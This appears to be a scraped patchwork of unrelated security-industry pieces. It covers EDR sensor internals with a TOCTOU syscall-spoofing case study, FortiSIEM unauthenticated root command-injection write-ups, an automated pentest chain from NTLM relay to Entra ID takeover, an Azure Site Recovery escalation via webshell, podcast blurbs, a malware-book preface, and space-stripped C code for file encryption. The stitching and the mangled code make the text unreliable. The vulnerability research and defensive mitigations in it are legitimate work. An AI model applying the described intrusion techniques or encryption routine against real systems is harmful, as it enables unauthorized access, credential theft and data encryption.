Traditionally, only loadable kernel modules (LKM) could use kernel tracing features. LKMs are similar to Windows driversβcrashes may result in unrecoverable kernel errors, raising similar stability concerns. Linux kernel versions 4.x implement an βextendedβ version of Berkeley Packet Filter to address these concerns called eBPF. This feature allows developers to load small, verifiable programs into the kernel. eBPF programs have material constraints, but they should mitigate the stability risks of LKM-based sensors. Only newer Linux kernel versions support eBPF and certain advanced eBPF features; customers may not have these versions deployed across their environments. This led many EDR vendors to offer two (or more!) versions of their Linux agent, each targeting a different kernel version.
Liz Rice from Isovalent wrote an excellent, free book on eBPF. The company also has a free eBPF lab on its website for those who prefer a hands-on approach. Many open-source projects demonstrate good examples of eBPF-based tracing. This post only covers the newest eBPF variant of each agent, but it is safe to assume that other variants collect similar information with a slightly modified eBPF or LKM-based sensor.
Analyzing eBPF Programs
Two components of eBPF-based sensors may provide insights into their implementation: programs and maps. Each eBPF program typically monitors a single kernel function and uses a map to communicate with the user-mode agent. Microsoft SysmonForLinux is a well-documented, open-source eBPF-based monitoring tool. It uses several tracepoints to monitor process, file, and networking events. Once installed, a complete list of currently loaded programs can be retrieved using bpftool with the bpftool prog list command. The results usually include unrelated programs, but the PIDs can identify relevant results, as seen below.
The bytecode of an eBPF program is accessible as well, using the bpftool prog dump command.
int ProcCreateRawExit(struct bpf_our_raw_tracepoint_args * ctx):
0xffffffffc02f18e8:
; int ProcCreateRawExit(struct bpf_our_raw_tracepoint_args *ctx)
0: nopl 0x0(%rax,%rax,1)
5: xchg %ax,%ax
7: push %rbp
8: mov %rsp,%rbp
b: sub $0x98,%rsp
12: push %rbx
Additionally, the bpftool map list command will retrieve a complete list of maps. Again, there are unrelated results, but the PIDs describe associated processes.
11: array name eventStorageMap flags 0x0
key 4B value 65512B max_entries 512 memlock 33546240B
pids sysmon(807)
The contents of a map can be accessed with bpftool map dump.
Retrieving the name and bytecode for each program should be enough to understand which functions an eBPF agent monitors. Outflank created a Bash script to expedite the enumeration described above.
Sensor Implementations β macOS
The EDR agents Outflank reviewed on macOS all had similar implementations. The following sections aim to describe commonalities as well as any unique approaches.
Authentication Events
Multiple agents collected authentication data using getutxent, some at regular intervals and others in response to specific events. For instance, one agent used the Darwin Notification API to subscribe to com.apple.system.utmpx events. Outflank created another Frida script that can be used with hook.py script to examine these subscriptions.
Other agents subscribed to the following ES API events as a trigger to check utmpx:
AUTHENTICATION β The most general authentication event. Generated by normal login, sudo usage, and some remote logins.
PTY_GRANT/CLOSE β Records each pseudoterminal control device (shell session), including local Terminal and remote SSH connections.
LW_SESSION_LOGIN/LOGOUT β Occurs when a user logs in normally. Includes the username and a βgraphical session IDβ that appears to track whether a session has ended.
OPENSSH_LOGIN/LOGOUT β SSH logins, including failed attempts. Includes the username and source address.
LOGIN_LOGIN/LOGOUT β Official documentation states these events are generated for each βauthenticated login event from /usr/bin/loginβ. The author was unable to produce events of this type.
Process Events
All the reviewed macOS agents subscribed to the following process event types.
EXEC
FORK
EXIT
File Events
All the reviewed macOS agents subscribed to the following file event types:
CREATE
OPEN
CLOSE
LINK
UNLINK
RENAME
MOUNT
CLONE
SETMODE
SETOWNER
SETFLAGS
SETEXTATTR
A subset of the agents subscribed to additional event types:
UNMOUNT
READDIR
DELETEEXTATTR
SETATTRLIST
REMOUNT
TRUNCATE
SETACL β Although macOS uses POSIX file permissions, it also implements more granular access control using Access Control Lists (ACL).
Network Events
All the reviewed macOS agents used a network extension to implement a content filter provider. Refer to the previous sections for more information on the data available to content filters.
macOS-Specific Events
Each macOS agent was subscribed to a subset of the following OS-specific events:
REMOTE_THREAD_CREATE
PROC_SUSPEND_RESUME
XP_MALWARE_DETECTED β XProtect, the built-in macOS antivirus, detected malware. A complimentary event type, XP_MALWARE_REMEDIATED, indicates that malware was removed.
GET_TASK_READ/INSPECT/NAME β A process retrieved the task control/read/inspect/name port for another process. Mach ports are an IPC mechanism on macOS.
CS_INVALIDATED β The code signing status for a process is now invalid, but that process is still running.
SIGNAL β A process sent a signal to another process.
BTM_LAUNCH_ITEM_ADD β A launch item was made known to background task management. This includes common macOS persistence methods like launch agents/daemons and login items.
Sensor Implementations β Linux
Unlike macOS agents, the Linux agents reviewed by Outflank had much greater diversity in their implementations. The following sections compare approaches taken by various products.
Authentication Events
A subset of the reviewed Linux agents hooked the following PAM functions:
pam_authenticate β Includes failed login attempts.
pam_open_session β Likely required to correlate other events with a user session.
Other agents monitored specific files to capture authentication events:
Each Linux agent used a tracepoint (some used raw tracepoints) for sched_process_exec. One product also placed a fentry probe on finalize_exec, an internal kernel function called by execve, but it was unclear what additional information this could provide. Only some agents appeared to monitor fork usage with a sched_process_fork tracepoint. All agents monitored process termination with tracepoints or fentry probes on sched_process_exit, taskstats_exit, sys_exit_setsid, or exit.
File Events
A subset of the reviewed Linux agents only monitored the following syscalls using fentry probes or kprobes:
chdir
chmod
chown
clone
clone_file_range
copy_file_range
dup
fallocate
fchdir
fchmod
fchmodat
fchown
fchownat
openat
pwrite
read
rename
renameat
renameat2
sendfile
setfsgid
setfsuid
setgid
setregid
setresgid
setreuid
setsid
setuid
truncate
unlink
unlinkat
unshare
write
While some agents relied entirely on syscalls, others only traced a few and attached fentry probes or kprobes to the following internal kernel functions:
chmod_common
chown_common
do_filp_open
ioctl_file_clone
locks_remove_file
mnt_want_write
notify_change
security_file_open
security_file_permission
security_inode_getattr
security_inode_getxattr
security_inode_removexattr
security_inode_setxattr
security_inode_unlink
security_mmap_file
security_path_link
security_path_mkdir
security_path_rename
security_path_unlink
security_sb_free
security_sb_mount
vfs_copy_file_range
vfs_fallocate
vfs_link
vfs_rename
vfs_unlink
vfs_write
Network Events
Outflank observed two general strategies for monitoring network traffic. Some agents monitored the following syscalls using kprobes or fentry probes:
socket
bind
accept
setsockopt
socketcall
Instead of monitoring networking syscalls, the remaining agents traced the following internal kernel functions with fentry or kprobes:
sock_create
inet_bind/inet6_bind
inet_sendmsg/inet6_sendmsg
inet_recvmsg/inet6_recvmsg
inet_csk_accept
inet_accept
inet_listen
tcp_close
inet_release
tcp_v4_connect/tcp_v6_connect
inet_dgram_connect β UDP
inet_stream_connect β TCP
sock_common_recvmsg β DCCP
sk_attach_filter β Called when SO_ATTACH_FILTER is passed to setsockopt.
Linux-Specific Events
Each Linux agent subscribed to a subset of the following OS-specific events.
security_bpf_map β Another program on the system can access or modify eBPF maps, but it usually requires the CAP_SYS_ADMIN or CAP_BPF capability. This means privileged users may be able to tamper with sensor data to silence or even spoof events. In response, some EDR agents monitor eBPF to protect their programs and maps.
security_netlink_send β Monitors netlink, an interface for sharing data between user-mode processes and the Linux kernel.
madvise β The author suspects some agents hooked this syscall to detect the exploitation of vulnerabilities like Dirty COW.
Case Study: Spoofing Linux Syscalls
Diving into an application often inspires security researchers to discover logical flaws that lead to unintended yet desirable results. The example highlighted in this section still affects popular commercial products, and the author hopes to inspire additional community research in this space.
Phantom Attack
At DEF CON 29, Rex Guo and Junyuan Zengexploited a TOCTOU vulnerability for Falco and Tracee. Their exploit for βPhantom Attack v1β demonstrates an ability to spoof specific fields in some network (connect) and file (openat) events. The attack requires three separate threads, as shown below.
A slight variation is required for the openat syscall, but it is conceptually similar. Ideally, the time-of-use (immediately after the page fault is handled) happens before benign data can be written to the original page. In practice, their POC was very reliable but required elevated privileges. According to its manual, userfaultfd requires the CAP_SYS_PTRACE capability since Linux 5.2. An alternative method of extending the TOCTOU window would be enough to exploit this vulnerability as a normal user.
Falco and Tracee used kernel function tracing, but they were vulnerable to the attack because they traced system calls instead of internal kernel functions. Arguments provided by user-mode were evaluated directly, including pointers to memory allocated by the calling process. As described above, some EDR agents monitored networking with syscall kprobes, implying they are likely vulnerable to the same attack. Indeed, Outflankβs fork of the βPhantom Attack v1β POC for connect worked against multiple EDR products in testing. As demonstrated below, the original code was modified to make an HTTP GET request to the target (in this case, google.com) and output the response.
Outflank utilizes its knowledge of Windows, macOS, and Linux EDR to identify opportunities for evasion. In order to help other red teams easily implement these techniques and more, weβve developed Outflank Security Tooling (OST), a broad set of evasive tools that allow users to safely and easily perform complex tasks. Consider scheduling an expert-led demo to learn more about the diverse offerings in OST.
In November of 2023, preparing for a call for papers, I attempted to investigate the FortiSIEM patch for CVE-2023-34992. I kindly inquired with the PSIRT if I could have access to the most recent versions to some of their appliances to validate the patches, to which they declined. Acquiring access a different way, I eventually was able to analyze the patch.
While the patches for the original PSIRT issue, FG-IR-23-130, attempted to escape user-controlled inputs at this layer by adding the wrapShellToken() utility, there exists a second order command injection when certain parameters to datastore.py are sent. There exist two distinct vulnerabilities which were assigned CVE-2024-23108 and CVE-2024-23109, both with a CVSS3 score of 10.0, which allows remote, unauthenticated command execution as root. This blog will only cover the first, CVE-2024-23108, given theyβre both patched in the same release.
CVE-2023-34992 Patch and Code Flow Analysis
In CVE-2023-34992, the phMonitor service on tcp/7900 was abused by sending it a handleStorageRequest message with a malicious server_ip value. When phMonitor received this message the specific command to be executed wouldΒ be: /usr/bin/python3.9 /opt/phoenix/deployment/jumpbox/datastore.py nfs test β<server_ip>β β<mount_point>β online.Β Inspecting the control flow of datastore.py for this type of request, we see that the server_ip field is validated by attempting to connect to the IP address.
After this, control is eventually passed to /opt/phoenix/deployment/jumpbox/datastore/nfs/test.py. Here, a call to __testMount() formats a call to os.system() on line 23, which derives the nfs_string value from our user-controlled mount_point payload value.
By formatting a request to the phMonitor client with a command type of 81, and the following payload, an unauthenticated attacker can achieve remote code execution as root.
The astute reader will notice that there is very little difference in the exploitation of the previous command injection, CVE-2023-34992, to this one, CVE-2024-23108, reported 6 months later.
Our proof of concept exploit can be found on our GitHub.
Indicators of Compromise
The logs for the phMonitor service will verbosely log many details of messages it receives and can be found at /opt/phoenix/logs/phoenix.log. Attempts to exploit CVE-2024-23108 will leave a log message containing a failed command with datastore.py nfs test. These lines should be inspected for malicious looking input.
16 January 2024 β Fortinet silently fixes the issues in v7.1.2 build 0160 with no mention of the vulnerabilities, PSIRT releases, or CVEs published
31 January 2024 β Fortinet publicly βdisclosesβ the issues by adding unpublished CVE IDs to the PSIRT released for CVE-2023-34992 6 months prior without adding a changelog entry
7 February 2024 β Fortinet publicly publishes the CVE IDs, but states they were duplicates published in error, and then states they were real
Sometime later in 2024 β Fortinet eventually adds a changelog entry to the PSIRT and adds CVE IDs to the release documents
Cyber Work Hacks knows that you have what it takes to pass the Certified Ethical Hacker (CEH) exam! And you donβt have to do it alone! Infosecβs CEH boot camp instructor Akyl Phillips gives you his top tips and tricks for taking the exam! Phillips breaks down the common formats for CEH questions, talks common mistakes people make while taking the exam and why itβs not the end of the world if you fail the CEH on the first time (especially if you do it with an Infosec CEH/Pentest+ dual-cert boot camp). As Phillips puts it, first you have to get to know the beast, and that will allow you to slay the beast! Sharpen your tools and get down to business with this Cyber Work Hack.
0:00 - Certified ethical hacker exam 1:42 - What is ethical hacking and the roles using it? 2:46 - Tips and tricks for taking the CEH exam 3:32 - Tools to have before the CEH exam 5:09 - Common mistakes people make with the CEH exam 6:11 - What if I fail the CEH exam? 7:02 - Will I get CEH exam feedback? 7:49 - Best piece of advice for CEH exam day 8:55 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Horizon3.ai, a leader in autonomous security solutions, is pleased to announce the appointments of Erick Dean as Vice President of Product Management and Drew Mullen as Vice President of Revenue Operations. These key executive hires underscore the management team Horizon3.ai continues to build, fueling significant growth.
As enterprises continue to transition on-premises infrastructure and information systems to the cloud, hybrid cloud systems have emerged as a vital solution, balancing the benefits of both environments to optimize performance, scalability, and ease of change on users and administrators. However, there can berisks involved when connecting a misconfigured or ill-protected network to cloud services. Particularly, Microsoft Active Directory environments that are compromised could lead to a full compromise of a synchronized Microsoft Entra ID tenant. Once this critical IAM platform is breached all integrity and trust of connected services is lost.Β Β
MS Entra ID and Hybrid ConfigurationsΒ
Formally known as AzureAD, Entra ID is Microsoftβs cloud-based Identity and Access Management (IAM) solution that is integrated with several Microsoft products and services β including Azure cloud resources, Office 365, and any third-party applications integrated to use the platform for identity management. To capitalize on the dominance of Active Directory (AD) for on-premises domain management and ease the transition of enterprises to cloud services, Microsoft designed Entra ID to integrate seamlessly with existing AD infrastructure using a dedicated on-premises application called MS Entra Connect (formally known as AzureAD Connect). This setup allows users to access the on-premises domain and cloud services/resources using the same credentials. Β
In the most common hybrid setup, known as Password Hash Synchronization (PHS), the Entra Connect application has highly-privileged access to both the AD and Entra environments to synchronize authentication material between the two. If an attacker breaches the Entra Connect server, they have potential paths to compromising both environments. Additionally, Entra Connect has a feature known as Seamless SSO that, when enabled, allows for password-less authentication to Microsoft cloud services, like Office 365, by utilizing the Kerberos authentication protocol. Β
A Real-World ExampleΒ
A client conducted an assumed-breach internal pentest using NodeZero. NodeZero was given no prior knowledge of the clientβs Entra ID account or hybrid setup. Β
Initial Access to Domain Compromise
In this example case, NodeZero:Β
NodeZero poisoned NBT-NS traffic from Host 1 to relay a netNTLM credential to Host 2Β β a SMB server with signing not required. Β
NodeZero remotely dumped SAM on Host 2 and discovered a Local Administrator Credential that was reused on several other hosts (Host 3 and Host 4). Β
Domain Compromise #1 β Utilizing the shared local administrator credential, NodeZero was able to run the NodeZero RAT on Host 3 and perform an LSASS dump. Interestingly, the Machine Account for Host 3 (HOST3$), captured in the LSASS dump, was a Domain Administrator! Β
Domain Compromise #2 β On Host 4, NodeZero used the shared local administrator credential to remotely dump LSA and discovered a second Domain Administrator credential (Admin2)!
Domain Compromise to Entra Tenant Compromise
Using Admin2βs credentials, NodeZero queried AD using the LDAP protocol and determined the domain was synchronized to an Entra ID tenant using Entra Connect installed on a Domain Controller (DC1). Exploiting three different credential dumping weaknesses (LSA Dumping, DPAPI dumping, and Entra Connect Dumping) NodeZero was able to harvest the cloud credential for Entra Connect (Sync_*). Β
Using HOST3$βs credentials, NodeZero performed an NTDS dump on another Domain Controller (DC2) and discovered the credential for the AZUREADSSOACC$ service account. This credential is utilized to sign Kerberos tickets for Azure cloud services when Seamless SSO is enabled.Β
NodeZero successfully logged into the clientβs Entra tenant using Entra Connectβs credential and obtained a Refresh Token β enabling easier long-term access.Β
Using Entra Connectβs Refresh Token, NodeZero collected and analyzed AzureHound data and determined an on-premises user (EntraAdmin) was a Global Administrator within the Entra Tenant. Β
Armed with this knowledge, NodeZero performed a Silver Ticket Attack β using the credential for AZUREADSSOACC$, NodeZero forged a valid Kerberos Service Ticket.Β
Using the Kerberos ticket for EntraAdmin, NodeZero successfully authenticated to the Microsoft Graph cloud service, without being prompted for MFA, and verified its new Global Administrator privileges. Β
It took NodeZero an hour to compromise the on-premises AD domain, and just shy of 2 hours to fully compromise the associated Entra ID tenant. Β
Key Takeaways and MitigationsΒ
The attack path above was enabled by several common on-premises misconfigurations that when combined not only compromised the AD domain, but the Entra ID tenant as well. Key findings include:Β
Β Prevent NTLM Relay. Β NodeZero gained initial access to the domain via NTLM Relay; enabled by the insecure NBT-NS protocol and failure to enforce SMB Signing. Disabling NBT-NS and enforcing SMB Signing may have prevented NodeZero from utilizing the relay for initial access β but other vectors for initial domain access existed within the pentest.Β
Use LAPS. Β The clientβs reuse of credentials for Local Administrators enabled key lateral movements that lead to the discovery of Domain Administrator credentials.Β
Treat Entra Connect as a Tier-0 resource. Given the valuable nature of Entra Connectβs credentials, Horizon3.ai recommends installing Entra Connect on a non-DC server (with LAPS enabled) and adequately protected with an EDR solution. Β
Avoid using on-premises accounts for Entra Administrator Roles. Follow Microsoftβs recommendations for limiting the number of Entra Administrators and their level of privilege. Β
Sign up for a free trial and quickly verify youβre not exploitable.
Mark Toussaint of OPSWAT joins to talk about his work in securing operational technology, and specifically about his role as product manager. This is an under-discussed job role within security, and requires great technical expertise, intercommunication skills and the ability to carry out long term campaigns on a product from, as he put it, initial brainstorming scribblings on a cocktail napkin through the creation of the product, all the way to its eventual retirement. Learn what it takes to connect security engineering, solutions experts, project management, and more in the role of security product manager, and how OT security connects fast, flexible IT and cybersecurity with systems that, as Toussaint put it, might be put in place and unmodified for 15 or 20 years. Itβs not that hard to connect the worlds, but it takes a specific skill set.
0:00 - Working in operational technology 1:49 - First getting into cybersecurity and tech 3:14 - Mark Toussaintβs career trajectory 5:15 - Average day as a senior product manager in OPSWAT 7:40 - Challenges in operational technology 9:11 - Effective strategist for securing OT systems 11:18 - Common attack vectors in OT security 13:41 - Skills needed to work in OT security 16:37 - Backgrounds people in OT have 17:28 - Favorite parts of OT work 19:47 - How to get OT experience as a new industry worker 21:58 - Best cybersecurity career advice 22:56 - What is OPSWAT 25:29 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
I dedicate this book to my wife, Laura, my son, Yerzhan, and my little princess, Munira, and I thank them for their inspiration, support, and patience.
I know that many of my readers have been waiting for this book for a long time, and many of us understand that perhaps I could not give comprehensive and exhaustive information on how to develop malware, but I am trying to my best for sharing my knowledge with community.
If you want to learn more about any area of science or technology, you will have to do your own research and work. There isnβt a single book that will answer all of your questions about the things that interest you.
I would be glad to receive feedback and am ready for dialogue. There will be many posts about the book in the near future as it is about to be published.
I thank the entire team at Packt without whom this book would look different.
I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.
In early 2023, given some early success in auditing Fortinet appliances, I continued the effort and landed upon the Fortinet FortiSIEM. Several issues were discovered during this audit that ultimately lead to unauthenticated remote code execution in the context of the root user. The vulnerabilities were assigned CVE-2023-34992 with a CVSS3.0 score of 10.0 given that the access allowed reading of secrets for integrated systems, allowing for pivoting into those systems.
FortiSIEM Overview
The FortiSIEM allows customers to do many of the expected functions of a typical SIEM solution such as log collection, correlation, automated response, and remediation. It also allows for simple and complex deployments ranging from a standalone appliance to scaled out solutions for enterprises and MSPs.
In a FortiSIEM deployment, there are four types of roles that a system can have:
β Supervisor β for smaller deployments this is all thatβs needed, and supervises other roles
β Worker β handles all the data coming from Collectors in larger environments
β Collector β used to scale data collection from various geographically separated network
environments, potentially behind firewalls
β Manager β can be used to monitor and manage multiple FortiSIEM instances
For the purposes of this research, I deployed an all-in-one architecture where the appliance contains all of the functionality within the Supervisor role. For more information about FortiSIEM key concepts refer to the documentation.
Exploring the System
One of the first things we do when auditing an appliance is to inspect the listening services given you have some time of shell access. Starting with the most obvious service, the web service, we see that it listens of tcp/443 and the proxy configuration routes traffic to an internal service listening on tcp/8080.
We find that the backend web service is deployed via Glassfish, a Java framework similar to Tomcat in that it provides a simple way to deploy Java applications as WAR files. We find the WAR file that backs the service, unpack it, and decompile it. Inspecting some of the unauthenticated attack surface, we happen upon the LicenseUploadServlet.class.
We follow the code into this.notify(), where we eventually observe it calling sendCommand(), which interestingly sends a custom binary message with our input to the port tcp/7900.
Now that weβve identified a pretty interesting attack surface, letβs build a client to interact with it in the same way the web service does. The message format is a pretty simple combination of:
Command Type β The integer enum mapped to specific function handlers inside the phMonitor service
Payload Length β The length of the payload in the message
Send ID β An arbitrary integer value passed in the message
Sequence ID β The sequence number of this message
Payload β The specific data the function handler within phMonitor will operate on
Constructing the LicenseUpload message in little-endian format and sending it over an SSL wrapped socket will succeed in communicating with the service. Re-implementing the client messaging protocol in Python looks like the following:
As a test that the client works, we send a command type of 29, mapped to handleProvisionServer, and can observe in the logs located at /opt/phoenix/log/phoenix.log that the message was delivered.
The phMonitor service marshals incoming requests to their appropriate function handlers based on the type of command sent in the API request. Each handler processes the sent payload data in their own ways, some expecting formatted strings, some expecting XML.
Inside phMonitor, at the function phMonitorProcess::initEventHandler(), every command handler is mapped to an integer, which is passed in the command message. Security Issue #1 is that all of these handlers are exposed and available for any remote client to invoke without any authentication. There are several dozen handlers exposed in initEventHandler(), exposing much of the administrative functionality of the appliance ranging from getting and setting Collector passwords, getting and setting service passwords, initiating reverse SSH tunnels with remote collectors, and much more.
Given the vast amount of attack surface available unauthenticated within the phMonitor service, we begin with the easiest vulnerability classes. Tracing the calls between these handlers and calls to system() we land of the handler handleStorageRequest(), mapped to command type 81. On line 201, the handler expects the payload to be XML data and parses it.
Our proof of concept exploit can be found on our GitHub.
Indicators of Compromise
The logs in /opt/phoenix/logs/phoenix.logs verbosely log the contents of messages received for the phMonitor service. Below is an example log when exploiting the system:
In this webinar. Horizon3.ai cybersecurity expert Brad Hong covers our new Rapid Response service, including:
β How this service enables you to preemptively defend against high-profile threats
β How our Attack Team develops its tailored threat intelligence for NodeZero users
β Best practices for monitoring the progress of nascent threats and getting ahead of mass exploitation
Today on Cyber Work, weβre talking about last Septemberβs breach of the MGM Grand Casino chain, an attack that lead to a week of tech failure, downtime and over a hundred million dollars in lost revenue. The attackers were able to get in via a point that my guest, Aaron Painter of Nametag Inc, said is a common point of failure: the request for a password and credential reset from the helpdesk, and the ever-frustrating βsecurity questionsβ approach to making sure you are who you are. Nametag is built to create an alternative to security questions and go beyond MFA to create a method of verification that is even resistant to AI Deepfake attempts!Β
This conversation goes into lots of interesting spaces, including career mapping, the importance of diverse design teams and the benefits of security awareness training, plus you get to learn about an amazing piece of emergent tech!
0:00 - A new method of online verification 3:15 - First getting into cybersecurity and computers 7:03 - Aaron Painter's work experiencesΒ 10:37 - Learning cybersecurity around the world 11:32 - Starting Nametag 16:25 - Average work week as Nametag CEO 19:10 - Cybersecurity learning methods 21:15 - The MGM cyberattack explained 26:07 - MGM fail safes bad actors surpassedΒ 29:26 - Security awareness trainingΒ 31:35 - Are data breaches the new normal 34:05 - How Nametag safeguards online data 37:59 - AI deepfakesΒ 40:19 - Using Nametag 42:20 - How to learn AI deep fake defense 44:14 - Design choices in digital identityΒ 45:54 - Different backgrounds in cybersecurityΒ 46:59 - Aaron Painter's favorite part of his work 48:01 - Best cybersecurity career advice 49:00 - Learn more about Nametag 50:06 - Outro
β Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Adversary Academy recently completed a long-term red team (assume breach) assessment for a large restaurant franchise. While performing the assessment an Azure Site Recovery server was found to be an attractive target in the environment. Part of our service offering is our targeted vulnerability research (TVR) program. The challenge Iβve seen with most pentest or redteam providers is that there is typically a lack of vulnerability and exploit research capabilities. Meaning if there are not known vulnerabilities with public exploit code affecting a network or environment the pentest provider can't find exploitable systems. Pentest providers typically lack full-time exploit and vulnerability development capabilities. In order to address that issue we run a program that allows our researchers to spend time attacking interesting systems theyβve encountered on customer networks, long after the engagement is overβ¦ or in this case during an engagement.
Typically on a penetration test a tester's βspidey sensesβ will go off at some point when you encounter a system that just feels vulnerable, or impactful if it were to be vulnerable. Our spidey senses went off when we gained access to an Azure Site Recovery (ASR) server because there appeared to be a large number of services communicating both inbound and outbound to the server as well as traffic to the customer's Azure environment. Documentation revealed that when fully deployed ASR has rights to read and write virtual machines from on-site VMware or Hyper-v systems and upload them to the Azure cloud for cloud-to-cloud disaster recovery.
While performing the engagement the research phase began immediately and we discovered a number of interesting bugs on the SRM server after we gained access toΒ it.
Beginning our research we found that Azure SRM is site disaster recovery for one Azure region to another region or physical to theΒ cloud.
SRM can replicate on-premises hypervisors VMware, Hyper-V, physical servers (Windows and Linux), or Azure Stacks to AzureΒ sites.
Basically, Microsoft said, βWe will support anything other than AWS orΒ GCP!β
As we started our research we found roughly 20 previous CVEs affecting Microsoft Azure SRM, most were EoP and most were found in 2022. Hopefully, we could find something new.
Our research mindset typically includes mapping out application behaviors and what could go wrong with misconfigurations, logic flaws, or historically problematic issues (in this caseΒ EoP).
We started by reviewing features, capabilities, and processes in Azure SRM and foundΒ that:
the SRM process and config server runs a web server listening for replication events to the backup server on portΒ 9443
Process server must have permission to read all properties from all systems being backedΒ up
Process server must have the ability to read/write to Azure for synchronization, and deployment ofΒ agent
SRM server connects to clients via WMI/ credentials stored in theΒ DB
This WMI connection deploys the SRM mobility agent responsible for the agent to serverΒ comms.
Once this behavior was documented we decided that the web server privileges might be important, and the WMI credentials stored in the local database were definitely valuable targets to begin attacking.
Reviewing files accessed on startup by the services showed us that a config file named amethyst is read on startup. Here was the first bug weΒ found.
The amethyst config file contains the plaintext mysql DB root username and password, this allows us to interact with the local database asΒ root.
Connecting to the mysql database we began to debug and monitor the mysql queries that were executed by the server. Here we found our attackΒ target.
We found php code responsible for executing the query that decrypts and uses the credentials we want access to. The first roadblock encountered is that we are not able to read the Encryption.key file as a standardΒ user.
After some research and failed attempts, we found a Solution!
If the process responsible for handling the php / mysql queries has access to the key, we must become theΒ process.
As our standard user account on the server, we donβt have the SeImpersonatePrivilege, we don't have an admin account on the server either. So we needed to find a bug affecting the webΒ server.
Further research allowed us to find a directory on the server where the web server / php code isnβt properly secured. We can write a webshell to this directory and βbecomeβ the web serverΒ process.
The web services are running as IUSR which DOES have the SeImpersonatePrivilege
We then can use SEImpersonatePrivilege to read the encryption.key
The final challenge was overcoming some weird character-handling behavior by MySQL which can't handle the characters in the encryption.key inline, so store it as a variable to use the key and decrypt the admin credentials.
After discovering the bugs and disclosing the credentials used by SRM the team was able to access the Vsphere environment, took snapshots of the domain controllers, and performed offline attacks to recover Enterprise and Domain admin access. After exploiting the issues we reported the vulnerability to Microsoft and received recognition for CVE-2024β21364 with a patch becoming available several monthsΒ later.
The next piece of code implemented file encryption and decryption logic via previous functions:
voidencrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// calculate the padding sizesize_tpaddingSize=(A51_BLOCK_SIZE-(fileSize.LowPart%A51_BLOCK_SIZE))%A51_BLOCK_SIZE;// pad the file datasize_tpaddedSize=fileSize.LowPart+paddingSize;unsignedchar*paddedData=(unsignedchar*)malloc(paddedSize);memcpy(paddedData,fileData,fileSize.LowPart);memset(paddedData+fileSize.LowPart,static_cast<char>(paddingSize),paddingSize);// encrypt the padded datafor(size_ti=0;i<paddedSize;i+=A51_BLOCK_SIZE){a5_1_encrypt(keyData,A51_KEY_SIZE,paddedData+i,A51_BLOCK_SIZE,paddedData+i);}// write the encrypted data to the output fileDWORDbw;WriteFile(ofh,paddedData,paddedSize,&bw,NULL);printf("a5/1 encryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(paddedData);}voiddecrypt_file(constchar*inputFile,constchar*outputFile,constchar*key){HANDLEifh=CreateFileA(inputFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);HANDLEofh=CreateFileA(outputFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(ifh==INVALID_HANDLE_VALUE||ofh==INVALID_HANDLE_VALUE){printf("error opening file.\n");return;}LARGE_INTEGERfileSize;GetFileSizeEx(ifh,&fileSize);unsignedchar*fileData=(unsignedchar*)malloc(fileSize.LowPart);DWORDbytesRead;ReadFile(ifh,fileData,fileSize.LowPart,&bytesRead,NULL);unsignedcharkeyData[A51_KEY_SIZE];memcpy(keyData,key,A51_KEY_SIZE);// decrypt the file data using A5/1 encryptionfor(DWORDi=0;i<fileSize.LowPart;i+=A51_BLOCK_SIZE){a5_1_decrypt(keyData,A51_KEY_SIZE,fileData+i,A51_BLOCK_SIZE,fileData+i);}// calculate the padding sizesize_tpaddingSize=fileData[fileSize.LowPart-1];// validate and remove paddingif(paddingSize<=A51_BLOCK_SIZE&&paddingSize>0){size_toriginalSize=fileSize.LowPart-paddingSize;unsignedchar*originalData=(unsignedchar*)malloc(originalSize);memcpy(originalData,fileData,originalSize);// write the decrypted data to the output fileDWORDbw;WriteFile(ofh,originalData,originalSize,&bw,NULL);printf("a5/1 decryption successful\n");CloseHandle(ifh);CloseHandle(ofh);free(fileData);free(originalData);}else{// invalid padding size, print an error message or handle it accordinglyprintf("invalid padding size: %d\n",paddingSize);CloseHandle(ifh);CloseHandle(ofh);free(fileData);}}
As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:
